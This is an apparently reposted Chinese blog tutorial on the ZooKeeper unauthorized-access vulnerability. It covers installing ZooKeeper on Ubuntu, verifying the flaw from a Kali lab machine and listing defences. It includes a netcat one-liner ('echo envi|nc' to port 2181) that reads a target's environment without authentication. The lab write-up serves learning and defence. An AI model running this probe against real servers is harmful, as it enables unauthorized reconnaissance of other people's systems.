zoukankan      html  css  js  c++  java
  • Zookeeper 未授权访问漏洞

    0x00 漏洞介绍

     

      ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

    Zookeeper 的默认开放端口是2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

     

    0x01 环境安装

    本次在Ubuntu18.04上安装

    安装包链接:http://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/

    1 #解压
    2 tar -zxvf zookeepre-3.4.10.tar.gz
    3 #进入配置文件目录
    4 cd /zookeeper-3.4.10/conf
    5 #将配置文件zoo_sample.cfg拷贝一份,命名为zoo.cfg
    6 cp zoo_sample.cfg zoo.cfg
    7 #打开zoo.cfg     配置单机模式
    8 vi zoo.cfg

     

     启动zookeeper

    cd到zookeeper底下的bin目录
    #启动
    ./zkServer.sh start
    #
    #测试连接
    zkCli.sh -server localhost:2181

     

    0x02 漏洞验证

     

    同样在kali机上安装zookeeper

    攻击机:kali

    靶机:ubuntu

     

    1、对靶机进行未授权连接

     

    2、使用命令获取目标的环境

    echo envi|nc 192.168.123.124 2181

     

    0x03 防御手段

    修改zookeeper默认端口、

    添加访问控制,配置服务来源地址限制策略

    增加zookeeper的认证配置

    0x04 zookeeper可视化管理工具

    下载连接:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

    zookeeper环境配置:https://www.iteye.com/blog/coolxing-1871009

  • 相关阅读:
    NOI2021 题解
    CF605E Intergalaxy Trips
    P4762 [CERC2014]Virus synthesis
    特征向量与特征值
    uoj
    NOI 2021
    [NOI2011] NOI 嘉年华 【DP】
    CF1264D(组合数)
    绝对不咕
    题解 SP11985 【GOT
  • 原文地址:https://www.cnblogs.com/glowing-z/p/12333334.html
Copyright © 2011-2022 走看看